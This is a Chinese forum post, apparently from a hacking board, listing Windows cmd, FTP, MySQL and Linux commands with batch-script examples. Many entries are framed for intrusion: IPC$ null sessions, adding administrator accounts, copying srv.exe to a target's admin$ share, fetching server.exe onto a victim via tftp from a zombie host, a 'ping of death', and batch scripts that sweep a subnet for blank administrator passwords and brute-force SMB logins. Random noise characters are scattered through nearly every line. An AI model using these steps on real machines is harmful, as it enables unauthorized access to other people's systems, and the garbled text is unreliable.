  
- UID
- 1
- 帖子
- 738
- 精华
- 28
- 积分
- 14249
- 金币
- 2415
- 威望
- 1647
- 贡献
- 1363
|
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接 " j4 j( x! n9 X; ^ V- g
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接 9 G/ A9 _' w: p
net use h: [url=file://\\ip\c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: ( }( s# B+ T9 C
net use h: [url=file://\\ip\c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H:
# W" i: b, F- J0 G6 G) Gnet use [url=file://\\ip\ipc$]\\ip\ipc$[/url] /del 删除IPC链接 7 L0 x: _0 O" d4 v) B0 s
net use h: /del 删除映射对方到本地的为H:的映射
: N" Q; s/ R- d+ L8 dnet user 用户名 密码 /add 建立用户 ) u2 \; y6 \ C4 E8 V
net user guest /active:yes 激活guest用户
8 Z- c, r0 {5 s9 _& O3 a; wnet user 查看有哪些用户
2 K8 ]# b1 m/ [, v/ \ h$ A8 B" l, R" ]net user 帐户名 查看帐户的属性
9 \. R @7 A$ L$ N9 @( |. @# Onet localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
; ~/ L" c$ G2 j# ]+ ^net start 查看开启了哪些服务 . {9 I) D9 Z4 |% q
net start 服务名 开启服务;(如:net start telnet, net start schedule) . u# L/ J6 {5 X7 u0 F- ?
net stop 服务名 停止某服务
5 D c" b$ b6 x3 jnet time \\目标ip 查看对方时间 + q& [: F2 g J6 l1 O) L6 M
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
: R4 c! r) \6 r+ }0 Q! c0 i$ x% Jnet view 查看本地局域网内开启了哪些共享
# w7 C' Q2 g' h( \3 v' o s+ anet view [url=file://\\ip]\\ip[/url] 查看对方局域网内开启了哪些共享
$ E$ V1 g; _! K& P- L6 Jnet config 显示系统网络设置 # Z: S8 I7 A3 T/ K- _* V
net logoff 断开连接的共享 1 q4 V, d: y: P$ ^8 G8 z" _3 b
net pause 服务名 暂停某服务 ) h' k: L' [$ d9 W
net send ip "文本信息" 向对方发信息
; N0 |( a6 O$ G' {0 }net ver 局域网内正在使用的网络连接类型和信息 " }0 `7 e& P! [. G
net share 查看本地开启的共享 1 R* F4 w# I; P" K" e) N
net share ipc$ 开启ipc$共享 7 { w1 T! ~% c5 o* J3 S7 x
net share ipc$ /del 删除ipc$共享
! L W' S; ^' Anet share c$ /del 删除C:共享 / R$ I( y$ I5 m+ r2 D/ i
net user guest 12345 用guest用户登陆后用将密码改为12345 % N/ }; {: \; y+ T/ T. X X
net password 密码 更改系统登陆密码 & _* [% a- p/ q5 ?
netstat -a 查看开启了哪些端口,常用netstat -an + }+ B! j0 H- k! F4 ^% {, t' N
netstat -n 查看端口的网络连接情况,常用netstat -an
% O F0 [6 L" l h% l! y/ h F6 ~6 Znetstat -v 查看正在进行的工作
4 q, k$ @ j3 r. mnetstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
) g7 {0 a7 u2 h/ q/ N2 Nnetstat -s 查看正在使用的所有协议使用情况 7 o4 s( T/ q1 \5 K" E5 R
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
& \5 i, O8 J% U: p' C) Htracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
) ?/ h8 z7 h9 s0 Q3 ~% k8 Y% dping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
( x0 y8 w% r' Y5 _ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
& g$ v3 t/ w& hipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
8 y6 Y6 g( |$ u% e) s: Mtlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
r2 C5 g. f; _$ skill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
# K! x9 o4 D6 T' udel -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
5 f. Y* F1 T7 B- T; gdel /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
. `' x! @1 F B7 \6 x, A$ D3 i- u8 fmove 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 W! C: _8 S" {. T9 X1 m: O0 X, b
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
# d/ L2 p3 D' E! ~7 l9 b( X! l$ k' _at id号 开启已php?name=%D7%A2%B2%E1" class="t_tag">注册的某个计划任务
+ B1 @9 g2 O- s0 v7 m" n+ m" Zat /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 & \, Y5 k: f8 o( X. T' L
at id号 /delete 停止某个已注册的计划任务 # ?. l; \ ` q( g- ^4 V8 A
at 查看所有的计划任务 ' x. \/ @; Y+ G' D" r. {
at [url=file://\\ip]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
8 O- N! y" y8 z! ]0 h" r* ffinger username @host 查看最近有哪些用户登陆 2 A* S9 e$ c0 D& {' @: n
telnet ip 端口 远和登陆服务器,默认端口为23
% Q9 l6 D9 U: a" q# {* Copen ip 连接到IP(属telnet登陆后的命令)
" K9 x; f& \6 i: A9 w' Otelnet 在本机上直接键入telnet 将进入本机的telnet
" `! C/ i2 m6 q# h; icopy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
2 A; j' F9 I* L& fcopy c:\srv.exe [url=file://\\ip\admin$]\\ip\admin$[/url] 复制本地c:\srv.exe到对方的admin下 - h/ m ~+ ~0 [9 ~" \* Y+ u' @
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
* e/ _, ]( F6 Q, m! ocopy [url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url] c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
$ r# G0 V1 @/ d% [/ ~xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 8 I0 S' W& Y; X2 \7 M
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 ; L( L- \2 T; Z
tftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机 : V: G: Z& _ g9 S [
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
3 g# l- b; j1 @; [route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
5 j; R" n8 y$ iarp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 6 v% N+ {; @3 {2 Q
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
& ]' v. X7 F# f: J- i7 kmem 查看cpu使用情况 ; K7 o* I: N8 ^/ U5 `6 W7 K1 n9 n5 D
attrib 文件名(目录名) 查看某文件(目录)的属性 0 Y9 n3 i) N" P$ @) d
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 / S) H5 j9 Q2 N6 Q
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
" Z$ u1 P( B' `0 L: b9 y! T8 Jdate /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 6 a" b1 u) P9 F6 O+ ^6 B& l
set 指定环境变量名称=要指派给变量的字符 设置环境变量 5 {$ Y( l) J0 ^0 q$ E) a
set 显示当前所有的环境变量
# r1 }. E; S' [) yset p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 3 F+ Z1 P5 X0 A1 D3 r" @* ]+ g' V
pause 暂停批处理程序,并显示出:请按任意键继续....
- x; m: ^ H# T9 Z) O3 Aif 在批处理程序中执行条件处理(更多说明见if命令及变量) / F, |& |$ f! b& A' p9 q
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) 1 t5 A( O$ g2 V7 I6 a5 g
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) 2 W+ F1 ` P& R/ I
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
8 J- `* y- W0 O! d7 L; Wecho on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
. u% w' M& A7 ~+ ~, b4 } e" Gecho 信息 在屏幕上显示出信息
! f- J3 y9 }' a1 \echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
1 y! y0 S9 L) l8 h% y) `findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello # q: i$ G$ I- l% E( {1 Y
find 文件名 查找某文件 * l4 w6 F, D$ Q7 `4 D. d' s7 \
title 标题名字 更改CMD窗口标题名字 , S! V& A% Q- ^% O% G
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 # C0 w' x/ y* c! u/ N3 I
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
0 c( T* Y# K1 J+ Q% ]$ n3 Fprint 文件名 打印文本文件
- B7 M, u7 j- |3 f- qver 在DOS窗口下显示版本信息 7 p7 M& A% Y1 Q% r3 h
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
% ^0 Z+ Z# L- ^" a& {format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS : ]/ L5 ?4 W& A9 P1 v" f' F# }2 n: j
md 目录名 创建目录 $ \# d" j+ J+ y9 O; s) F6 Q% H( @6 O
replace 源文件 要替换文件的目录 替换文件
/ o1 t0 \3 I. {2 @9 Jren 原文件名 新文件名 重命名文件名 ! O8 W. ?/ G ~! S
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
2 E( p o. Q" [, d- stype 文件名 显示文本文件的内容 6 ]; V+ i5 V! Y$ n
more 文件名 逐屏显示输出文件
' A* p# S |2 W5 J% rdoskey 要锁定的命令=字符
3 s- Q, X1 Y8 [ ^5 y4 K/ \$ adoskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
& p) C" u0 M7 ?" D6 \taskmgr 调出任务管理器 1 V+ g/ C, ]3 N' T
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
) G+ _( B( R/ m! b- itlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
% s3 F6 m- G* z7 b( }; @! i; aexit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe ! T4 d2 E+ M, h: L# t; x' B0 Y7 ?
path 路径\可执行文件的文件名 为可执行文件设置一个路径。 & k& U/ o* y7 A( X! R8 H% p( Q9 Q$ Z9 T% ^
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
2 ]! }6 h) T/ U L& @regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
) p5 M* I! D+ a. l/ Vregedit /e 注册表文件名 导出注册表
! \+ G! `6 J) U7 c8 k" ]+ j0 {8 t: |cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
2 z' e$ O) U4 V2 d6 _- t9 }, jcacls 文件名 查看文件的访问用户权限列表
1 t! t9 W2 X! U, oREM 文本内容 在批处理文件中添加注解
- \) q' U2 [1 Y1 L6 H/ H& anetsh 查看或更改本地网络配置情况
& f1 D0 e$ E5 l8 M3 AIIS服务命令:
0 [1 {; t' ^# g& aiisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
2 R, V8 h) \2 m1 Z) qiisreset /start或stop 启动(停止)所有Internet服务 2 }' i: a n3 x0 H* _& H
iisreset /restart 停止然后重新启动所有Internet服务
$ v) ` a0 l2 j( J- Qiisreset /status 显示所有Internet服务状态
p' N+ k/ F/ H& Miisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 7 S7 \0 r" l5 c
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 7 e# k) M/ Y4 x2 Q% Z
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
/ A$ `) Y1 u7 P3 Y9 U" miisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
N7 L% \ T" r) o: b8 [FTP 命令: (后面有详细说明内容)
9 a# a3 T/ P, i& j& b( n! sftp的命令行格式为:9 c# B! R4 U3 F+ ^" M/ n
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。4 ?6 }1 Y. L# `- g# X
-d 使用调试方式。 " L) {5 {5 g! Z/ h0 J
-n 限制ftp的自动登录,即不使用.netrc文件。- Y" G; T$ H0 v4 @
-g 取消全局文件名。 5 u* B r. S6 r6 c' M
help [命令] 或 ?[命令] 查看命令说明 ! w; t0 c+ D4 M0 k' o3 W5 z4 U, v
bye 或 quit 终止主机FTP进程,并退出FTP管理方式. * l3 j# b8 b6 n; J Y! v2 P2 U( h
pwd 列出当前远端主机目录
& w, U% \# x1 Z4 O, e+ Qput 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 ; Z$ A: F3 T: s3 s
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 0 t1 T/ z, Q+ B. y# o" J. U( ^
mget [remote-files] 从远端主机接收一批文件至本地主机
1 V" y6 E8 ]5 R. u8 {; S. M/ a2 ?8 jmput local-files 将本地主机中一批文件传送至远端主机 $ d5 o" J" L* U: C6 Q6 \# e: [
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 8 ~( ` o+ J. g A) H
ascii 设定以ASCII方式传送文件(缺省值)
6 k+ v# v- m" |6 ybin 或 image 设定以二进制方式传送文件 " W4 D$ |3 t7 b( W# W a3 ]3 E& ]+ Y( o
bell 每完成一次文件传送,报警提示
! ]9 c( z7 W3 A3 i7 O. `& dcdup 返回上一级目录 $ T/ M0 C& C) D4 C9 [4 {) _
close 中断与远程服务器的ftp会话(与open对应) ; @2 i4 a' r- K C- c( n
open host[port] 建立指定ftp服务器连接,可指定连接端口 ! U) v2 A R4 M8 j8 m
delete 删除远端主机中的文件 0 ~9 S |; q) v- X m
mdelete [remote-files] 删除一批文件
) m- R3 ] K; v" smkdir directory-name 在远端主机中建立目录 8 }! [5 _' U A( D0 n/ J0 d! F2 z* L
rename [from] [to] 改变远端主机中的文件名 & _; D0 [" z( |* |3 ?5 O( p" y( m
rmdir directory-name 删除远端主机中的目录
R. [8 F5 h( |status 显示当前FTP的状态
* l8 W: C1 j: U1 M- k9 E, Bsystem 显示远端主机系统类型 1 d: R1 e5 f- j6 B5 r
user user-name [password] [account] 重新以别的用户名登录远端主机 ! y+ c* W5 M% M# O. Z
open host [port] 重新建立一个新的连接
" F+ i$ ^- r: l/ fprompt 交互提示模式
9 p% m3 @& E V1 l9 emacdef 定义宏命令
% F% o' J3 A% X+ ^: }3 U+ C3 Tlcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 # t7 [6 {; k4 G
chmod 改变远端主机的文件权限 ! }$ u c. K% W5 D/ L( m
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 4 P& |, g: A4 _# r* J
cd remote-dir 进入远程主机目录
: H% Y. D; q& ?4 w6 b/ }& rcdup 进入远程主机目录的父目录
* h; q2 @* e8 m! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip
% H c9 D- f+ cMYSQL 命令:
+ v$ \ K+ g/ y; h, V; X0 A9 _mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。% o3 f0 z7 }+ `# O
(例:mysql -h110.110.110.110 -Uroot -P123456
; F9 W; E; G% m# e: y$ i8 E2 f. j9 w注:u与root可以不用加空格,其它也一样)
8 g% K0 }- s; z' Y! Xexit 退出MYSQL 6 P4 z9 J2 G" D3 o
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
, w" U: p/ D' b$ d* O: @grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
$ r& z( ~) X) Y( `6 X' V( \2 pshow databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
9 i- s/ e& x y2 X2 t4 huse mysql;6 T) J9 A* d6 w1 H+ L! `3 D! P' n A
show tables; 显示库中的数据表
n$ b# Z8 \4 k _ c" q8 ~1 Zdescribe 表名; 显示数据表的结构 ) x& y% y' Q& M* z# X$ f3 P7 }
create database 库名; 建库
& X2 r4 \2 n0 s9 wuse 库名;
9 E; ^4 h* G! s/ O& w8 wcreate table 表名 (字段设定列表); 建表
5 K# N& u5 \/ B5 Wdrop database 库名; 3 h5 g; X, x( o' Y% X/ |' X
drop table 表名; 删库和删表 8 Z6 D& {+ ?5 q* g2 f
delete from 表名; 将表中记录清空 : M' W, A, F: P& F
select * from 表名; 显示表中的记录
# y0 G& \$ }+ J1 f5 `" g6 `7 pmysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 1 B8 d r8 U g* E! u& r/ _
win2003系统下新增命令(实用部份): 3 Y# d8 u9 W* n* j
shutdown /参数 关闭或重启本地或远程主机。
/ r& M, f: d5 m' m" @参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
: Z& Z/ [! u8 g$ r6 ?4 ?例:shutdown /r /t 0 立即重启本地主机(无延时)
$ q. S1 O" \$ W) i4 s6 f+ Ntaskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
! h+ X& N& ?) P9 X: B2 F参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
( {7 O9 _/ M: @' C0 Q/ F; [tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
* {3 W- L7 ?. D. @+ V" P参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程
' A9 K( `% N* G S8 mLinux系统下基本命令: 要区分大小写
6 f5 k# B5 {* u7 D4 V; E' Xuname 显示版本信息(同win2K的 ver) , g: ?, H1 m1 L2 }
dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) " b- K& i S& a) p
pwd 查询当前所在的目录位置
& B% G; y- R7 K( ~2 |cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
, k1 V h! _3 A" ~* a$ e/ K; Ocat 文件名 查看文件内容
6 \% R# P: C( ~. ~cat >abc.txt 往abc.txt文件中写上内容。
8 x0 D6 h1 r& A- a' umore 文件名 以一页一页的方式显示一个文本文件。
$ r8 g1 Z! ?: E/ `0 Jcp 复制文件
- j* b/ G/ R( Z! kmv 移动文件
0 f) o$ ~; C3 D+ t- grm 文件名 删除文件,rm -a 目录名删除目录及子目录 ! B) _/ `. T" i, k c$ N
mkdir 目录名 建立目录 4 ~. Z$ g+ F! A1 }- `) o
rmdir 删除子目录,目录内没有文档。
+ E! e& O+ i' X- B( {) u1 ~chmod 设定档案或目录的存取权限 * ]. V* \& d& t0 k. T3 {
grep 在档案中查找字符串 . \" G! `0 B2 l0 m
diff 档案文件比较 2 J# W! V3 t" `3 {% t5 O; S( i
find 档案搜寻
% R# M% k) L, W8 q' [1 b q9 Edate 现在的日期、时间
. w7 U6 U# G6 k) V3 E+ ~* `9 i1 Ywho 查询目前和你使用同一台机器的人以及Login时间地点
8 v- F u1 Z8 S3 T' s4 ww 查询目前上机者的详细资料
; \4 p$ x! S2 L, B3 _whoami 查看自己的帐号名称 : g6 }( e% L* S' U! G6 E
groups 查看某人的Group / R" t: L6 t9 d& G( W% q) x% p6 A
passwd 更改密码 ; Y) u- z- F6 A8 ]
history 查看自己下过的命令 # `) U. q {! M A
ps 显示进程状态 0 }7 a: U: e. g
kill 停止某进程 + ^/ w: Y* Q# _$ f" r" W! b$ e
gcc 黑客通常用它来编译C语言写的文件
0 o0 v0 e9 j; d. X8 {su 权限转换为指定使用者 # i r% `( m- V4 Y
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。
: j6 Z/ v2 z+ R1 q4 Y2 O7 l7 qftp ftp连接上某服务器(同win2K
9 d/ M7 {, B1 n: e6 y附:批处理命令与变量7 B! N$ ]; ?& X1 b( ^
1:for命令及变量 基本格式:
. ~2 k' u' V) w+ G* z/ [4 s" _" SFOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。0 i, B- H+ l6 z) ?
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%3
+ ]4 H9 G( a! S; `; x. @(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}
8 B4 m" n) Q7 Y' acommand:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开3 P: W6 v. r0 Y, f
command_parameters:为特定命令指定参数或命令行开关/ {# O8 Y0 {; X) C8 [2 v6 R
IN (set):指在(set)中取值;DO command :指执行command- x+ j! V1 c3 G! w0 z. p
参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。 $ ?/ `& w5 ]7 v( J) J! I: P( G
用法举例:
' X9 v2 ?6 e" y@echo off : k- d4 O% ~3 ^+ L
echo 用法格式:test.bat *.*.* > test.txt
5 X' R, `9 O& p1 F( ~5 V7 R4 Sfor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use [url=file://\\%1.%%G]\\%1.%%G[/url] /user:administrator | find "命令成功完成" >>test.txt
! S2 m: w. a: w! c" n存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
[$ z- n z7 {5 i- E% x/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。
& W# O6 K* _0 W8 f; S% x@echo off
2 Z$ ?2 y1 K' H* O0 {echo 用法格式:ok.bat ip
* x/ |% e. R' aFOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 4 e: {3 U. z5 G/ s9 J' F0 U3 q
存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。
4 a$ V9 r$ q' K4 ~5 j2:if命令及变量 基本格式:
4 B( @" G# c5 R6 D- ?7 d3 `; ?) K3 @IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。, ]+ o) e: e2 ^3 A* {! `
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。( D$ X; V2 C8 x# d7 S+ A
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
# X5 B+ [) a) ]: F* |IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。( G. R1 E _4 k* V2 r) y
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
; M5 T% L4 ^* I& Q K: o( R8 Z& ZIF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
4 ?; v7 L9 E: U例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。
" r4 N- `0 _$ W2 P1 Y7 T- fIF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.” |
|